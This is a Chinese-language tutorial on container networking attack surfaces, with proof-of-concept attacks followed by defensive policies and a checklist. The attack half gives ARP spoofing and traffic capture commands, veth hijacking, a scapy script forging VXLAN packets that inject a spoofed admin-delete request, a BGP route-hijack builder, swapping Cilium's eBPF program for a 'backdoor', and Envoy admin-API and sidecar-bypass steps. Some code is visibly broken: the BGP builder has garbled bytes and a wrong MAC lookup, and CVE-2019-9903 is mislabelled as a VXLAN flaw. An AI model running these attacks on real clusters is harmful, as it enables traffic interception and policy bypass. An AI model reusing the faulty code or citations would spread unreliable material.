一、容器网络架构全景
容器网络比传统 VM 网络复杂得多,因为每一层抽象都引入了新的攻击面。先理解四种主流方案:
┌─────────────────────────────────────────────────────────────┐
│ 方案 │ 隔离机制 │ 攻击面 │
├─────────────────────────────────────────────────────────────┤
│ Docker Bridge │ veth pair │ ARP spoof, veth 劫持 │
│ Flannel VXLAN │ VXLAN overlay │ VXLAN header 劫持, 组播 │
│ Calico BGP │ 路由宣告 │ BGP 投毒, RCE │
│ Cilium eBPF │ eBPF map │ eBPF 程序替换, 特权升级 │
└─────────────────────────────────────────────────────────────┘
叠加层:Service Mesh (Istio/Linkerd) → Envoy sidecar 引入新攻击面
二、攻击面 1:Docker 原生 Bridge 网络
2.1 原理
[Host A] [Host B]
┌──────────────┐ ┌──────────────┐
│ container │ │ container │
│ eth0 (10.0.) │ veth pair │ eth0 (10.0.) │ veth pair
└──────┬───────┘ └──────┬───────┘
│ │
veth0 ── br0 (docker0) ── veth1 br0 (docker0)
│ │
eth0 (192.168.1.100) eth0 (192.168.1.101)
│ │
└─────────────────────┘
L2/L3
2.2 PoC:ARP 欺骗劫持同宿主容器流量
如果两个容器在同一宿主的同一 bridge 网络,可以通过 ARP 欺骗劫持它们之间的流量。
# 在容器内执行(需要 NET_RAW 或 NET_ADMIN 能力)
# 1. 找到自己的 veth
ip link show
# 2. 找到目标容器的 IP
TARGET_IP=172.17.0.3
TARGET_MAC=$(cat /sys/class/net/eth0/address)
# 3. 找到网关 (docker0) MAC
GATEWAY_MAC=$(ip neigh show default | grep -oP '(?<=lladdr )[0-9a-f:]+')
# 4. 发送伪造 ARP 响应
# 告诉目标: "我是网关,我的 MAC 是 XX"
arping -i eth0 -D -U -c 100 -s $TARGET_IP -h $GATEWAY_MAC 172.17.0.1
# 5. 用 tcpdump 抓到目标流量
tcpdump -i eth0 host $TARGET_IP -w /tmp/capture.pcap
2.3 PoC:直接操纵 veth 设备
# 特权容器可以直接操作宿主的 veth 设备
ip link add name dummy0 type veth peer name dummy1
ip link set dummy0 up
ip link set dummy1 master docker0
# 现在宿主所有经过 docker0 的流量都经过 dummy1,你可以在这里做什么?
# 用 eBPF 程序 attach 到 dummy1,劫持/修改所有 L7 流量
三、攻击面 2:Flannel VXLAN Overlay
3.1 原理
Flannel 用 VXLAN 把所有宿主上的容器连成一个大二层网络:
容器 A (10.244.1.5) ──── VXLAN 隧道 (UDP 8472) ──── 容器 B (10.244.2.7)
│ │
flannel0 (VTEP: 192.168.1.100) flannel0 (VTEP: 192.168.1.101)
3.2 漏洞:VXLAN Header 劫持(CVE-2019-9903 类)
VXLAN 包是 UDP 8472,攻击者可以构造一个伪造的 VXLAN 包,把它投递到目标宿主的 flannel VTEP。
#!/usr/bin/env python3
"""
VXLAN 伪造 PoC - 向目标宿主注入"假"的容器流量
前置条件: 攻击者能访问宿主机所在的 L2/L3 网络
"""
from scapy.all import *
import struct
def forge_vxlan_pkt(attacker_ip, target_vtep_ip, victim_container_ip, spoofed_src_ip, payload_data):
"""
构造一个 VXLAN 包,从 attacker 发到 target_vtep
target_vtep 会把它解封装后投递给 victim_container_ip
"""
# VXLAN Header: 8 bytes
vxlan_flags = 0x08 # I flag = 1 (valid VNI)
vni = 0x000a8c00 # 假设 flannel 的 VNI
vxlan_header = struct.pack("!BxI", vxlan_flags, vni)
# 内层包: 假装来自 spoofed_src_ip,发给 victim_container_ip
inner_ip = IP(src=spoofed_src_ip, dst=victim_container_ip, proto=6)
inner_tcp = TCP(sport=80, dport=8080, flags="PA", seq=1000, ack=1)
inner_payload = Raw(load=payload_data.encode())
# 外层包: UDP 8472 → 8472
outer_udp = UDP(sport=8472, dport=8472)
outer_ip = IP(src=attacker_ip, dst=target_vtep_ip)
pkt = outer_ip / outer_udp / Raw(load=vxlan_header) / inner_ip / inner_tcp / inner_payload
send(pkt, verbose=0)
print(f"[+] 已发送 VXLAN 包到 {target_vtep_ip}")
print(f" 伪造来源: {spoofed_src_ip} → 目标: {victim_container_ip}")
print(f" 载荷: {payload_data}")
if __name__ == "__main__":
# 攻击场景: 攻击者在同一个 VPC 里,向目标宿主注入伪造的"另一个容器"的请求
forge_vxlan_pkt(
attacker_ip="192.168.1.200",
target_vtep_ip="192.168.1.101", # 目标宿主的物理 IP
victim_container_ip="10.244.2.7", # 目标容器 IP
spoofed_src_ip="10.244.1.5", # 伪造的来源容器 IP(管理员信任的容器)
payload_data="GET /admin/delete-all HTTP/1.1
Host: internal-api
"
)
3.3 防御
- VXLAN 默认不加密!生产环境用 IPsec overlay (Flannel + IPSec / Calico WireGuard)
- 启用 VXLAN VTEP ACL,只允许已知宿主 IP
- 启用 micro-segmentation (NetworkPolicy)
四、攻击面 3:Calico BGP 路由投毒
4.1 原理
Calico 用 BGP 直接把容器路由宣告出去,没有隧道封装。
Host A (AS 65001) ── BGP session ──> Host B (AS 65001)
10.244.1.0/24 10.244.2.0/24
↓
如果攻击者能伪造 BGP 更新...
10.244.2.0/24 指向 Attacker IP
4.2 PoC:BGP 劫持容器网段
# 如果能访问 Calico 的 BGP session(端口 179),用 bird/frr 发送恶意更新
# 1. 找到 Calico 的 BGP peer 配置
calicoctl get node <target-node> -o yaml | grep -A5 bgp
# 2. 用 Python 发 BGP UPDATE 包(简化演示)
python3 << 'PYEOF'
# 实际攻击用 FRRouting 或 ExaBGP
# 这个 PoC 只是演示 BGP UPDATE 消息结构
import struct
def make_bgp_update(attacker_as, victim_prefix, attacker_next_hop):
"""构造 BGP UPDATE: 宣告 victim_prefix 可以从 attacker_as 到达"""
# Withdrawn Routes Length = 0
# Total Path Attribute Length
# Path Attributes: ORIGIN(IGP), AS_PATH, NEXT_HOP, MED
path_attrs = b""
# ORIGIN
path_attrs += b'@' # flags=0x40(optional), type=1(origin), len=1, IGP
# AS_PATH (AS_SEQUENCE + attacker_as)
path_attrs += b'@' + struct.pack("!H", attacker_as)
# NEXT_HOP
path_attrs += b'@' + bytes(map(int, attacker_next_hop.split('.')))
# NLRI
nlri = bytes([victim_prefix[2]]) + bytes(map(int, victim_prefix[3:].split('.')))
total_len = 2 + len(path_attrs) + len(nlri)
header = b'ÿ' * 16 + struct.pack("!H", total_len + 4) + b''
update = header + struct.pack("!H", 0) + path_attrs + nlri
print(f"[+] BGP UPDATE 已构造,长度 {len(update)} 字节")
# 实际攻击: sendto(tcp_sock, update) 到 peer:179
return update
make_bgp_update(65002, "24 10.244.2.0", "192.168.1.200")
# 告诉所有 BGP peer: 10.244.2.0/24 的下一跳是 192.168.1.200 (attacker)
PYEOF
五、攻击面 4:Cilium eBPF
5.1 原理
Cilium 把网络逻辑编译成 eBPF 程序加载到内核 hook 点,性能极佳但攻击面也变了。
5.2 PoC:替换 eBPF map 中的 LPM 路由
# eBPF map 可以通过 bpftool 读写
# 1. 列出 Cilium 加载的 eBPF map
bpftool map list | grep cilium
# 输出示例:
# 71: lpm_trie ops 3 0 key:24 value:8 ... name cilium_lb4_routes
# 2. 查看路由表
bpftool map dump name cilium_lb4_routes
# key: 0a f4 02 00 (10.244.2.0) value: ...
# 3. 如果有写权限(CAP_SYS_ADMIN),可以直接注入恶意路由
# 这相当于 BGP 投毒,但更底层、更难检测
# 4. Cilium 的 FQDN 策略也存在攻击面
# CVE-2023-26561: 伪造 DNS 响应可以绕过 FQDN eBPF 策略
5.3 更危险:替换 tc hook 的 eBPF 程序
# 特权容器可以直接替换宿主上加载的 eBPF 程序
# 1. 列出 tc hook 上的 eBPF
tc filter show dev eth0 ingress
# 2. 卸载 Cilium 的 eBPF,加载自己的
tc filter del dev eth0 ingress
tc filter add dev eth0 ingress bpf obj backdoor.o sec entry verbose
# 3. backdoor.c 示例
cat > backdoor.c << 'CEOF'
#include <linux/bpf.h>
#include <linux/pkt_cls.h>
#include <bpf/bpf_helpers.h>
SEC("classifier")
int backdoor(struct __sk_buff *skb) {
// 放行所有流量(绕过 Cilium 策略)
return TC_ACT_OK;
// 或者: 如果目标 IP 是攻击者服务器,把所有 HTTP 请求转发过去
}
char LICENSE[] SEC("license") = "GPL";
CEOF
clang -O2 -target bpf -c backdoor.c -o backdoor.o
六、Service Mesh:Istio 引入的新攻击面
6.1 架构
Client Pod Server Pod
┌──────────────┐ ┌──────────────┐
│ App │ │ App │
└──────┬───────┘ └──────┬───────┘
│ TCP:8080 │
┌──────┴───────┐ ┌──────┴───────┐
│ Envoy Sidecar│──mTLS──→ │ Envoy Sidecar│
│ (listener) │ │ (listener) │
└──────────────┘ └──────────────┘
│ │
路由规则 路由规则
(DestinationRule) (Sidecar)
6.2 攻击面清单
| 攻击点 | 风险 | PoC |
|---|---|---|
| Envoy Admin API (port 15000) | 泄露集群拓扑、终止 mTLS | curl :15000/config_dump |
| Pilot xDS 无认证 | 攻击者可以注入恶意路由 | 见下 |
| Sidecar 绕过 | 直连 Pod IP 绕过 mTLS | kubectl exec → 直连 target-ip:80 |
| Gateway 配置错误 | SSRF、路径穿越 | /admin/..%2f..%2f |
| JWT 过期未刷新 | 使用过期 token 访问 | 见下 |
6.3 PoC:利用 Envoy Admin API 窃取路由配置
# 进入一个带 Envoy sidecar 的 Pod
kubectl exec -it my-app-pod -c istio-proxy -- curl localhost:15000/config_dump
# 提取所有内部服务地址
curl localhost:15000/config_dump | jq '[.. | .route_config? | select(. != null) | .virtual_hosts[] | {name: .name, domains: .domains}]'
# 查看集群拓扑
curl localhost:15000/clusters | jq '.cluster_statuses[] | {name: .name, endpoints: (.host_statuses | length)}'
# 重要: 15000 端口在 Pod 内是开放的!
# 如果攻击者拿到 Pod shell,可以 dump 所有路由 → 发现隐藏的内部服务
6.4 PoC:Sidecar 绕过(跳过 mTLS 直连后端)
# 假设 Envoy 配置了 STRICT mTLS,但 Pod network 里可以直接用 IP
# 1. 找到后端 Pod 的真实 IP
kubectl get pod backend-xxx -o jsonpath='{.status.podIP}'
# 10.244.2.15
# 2. 直接连接 IP 绕过 Envoy sidecar
# (某些情况下 Envoy 只拦截 Service 域名的流量,不拦截直接 IP)
python3 -c "
import socket
s = socket.create_connection(('10.244.2.15', 8080))
s.send(b'GET /admin HTTP/1.1
Host: backend
')
print(s.recv(4096).decode())
"
# 这可能绕过了 mTLS 认证,绕过了 Envoy 的 authz 策略
# 3. Istio 防御: 使用 PeerAuthentication STRICT 模式 + mTLS DestinationRule
6.5 防御:配置网络策略的黄金标准
# 1. Default Deny All NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-all
namespace: production
spec:
podSelector: {}
policyTypes: [Ingress, Egress]
---
# 2. 显式放行需要的流量
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: production
spec:
podSelector:
matchLabels:
app: backend
policyTypes: [Ingress]
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
---
# 3. Istio PeerAuthentication 强制 mTLS
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
name: default-strict-mtls
namespace: production
spec:
mtls:
mode: STRICT
---
# 4. Istio AuthorizationPolicy
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
name: backend-only-frontend
namespace: production
spec:
selector:
matchLabels:
app: backend
rules:
- from:
- source:
principals: ["cluster.local/ns/production/sa/frontend-sa"]
to:
- operation:
methods: ["GET", "POST"]
6.6 eBPF + NetworkPolicy:可观测性 + 策略
# Cilium NetworkPolicy 示例(比原生 K8s NetworkPolicy 强得多)
cat << 'EOF' | kubectl apply -f -
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: backend-allow-frontend-only
spec:
endpointSelector:
matchLabels:
app: backend
ingress:
- fromEndpoints:
- matchLabels:
app: frontend
toPorts:
- ports:
- port: "8080"
protocol: TCP
# eBPF 级别:强制执行 + 可观测
egress:
- toEntities: ["world"]
toPorts:
- ports:
- port: "443"
protocol: TCP
EOF
# 实时观测策略命中
cilium monitor --type drop
# 输出: policy verdict: drop for endpoint backend (10.244.2.15) ← 攻击被拦截
七、终极防护:零信任微隔离架构
7.1 四层防护
Layer 1: NetworkPolicy → L3/L4 基础隔离
Layer 2: NetworkPolicy (DNS) → 按域名隔离(防 DNS 隧道)
Layer 3: Istio AuthorizationPolicy → L7 微隔离(谁能访问哪个 endpoint)
Layer 4: Cilium FQDN Policy → 出口 DNS 层拦截
7.2 自动化策略生成(Kubecost + NetworkPolicy)
# 根据真实流量自动生成 NetworkPolicy
# 安装 network-policy-generator
kubectl apply -f https://raw.githubusercontent.com/1Password/networkpolicy-generator/main/deployment.yaml
# 或者用 cilium Hubble 分析 + 生成
cilium hubble observe -f --namespace production | cilium policy generate
# 从观测到的流量自动生成 CiliumNetworkPolicy
八、总结:容器网络安全 Checklist
| 项目 | 检查点 | 验证命令 |
|---|---|---|
| Overlay 加密 | Flannel 用 IPSec / Calico 用 WireGuard | calicoctl get node -o yaml |
| NetworkPolicy | 每个 namespace 有 default-deny | kubectl get networkpolicy -A |
| mTLS | Istio STRICT 模式 | kubectl get peerauthentication -A |
| AuthorizationPolicy | 每个服务有明确 authz | kubectl get authorizationpolicy -A |
| Envoy Admin API | 限制为 127.0.0.1 | kubectl exec -c istio-proxy curl localhost:15000 |
| Sidecar 绕过 | 配置 L7 策略禁止直接 IP 访问 | CiliumNetworkPolicy + toFQDNs |
| eBPF 完整性 | 启用 BPF JIT 加固 | sysctl net.core.bpf_jit_harden |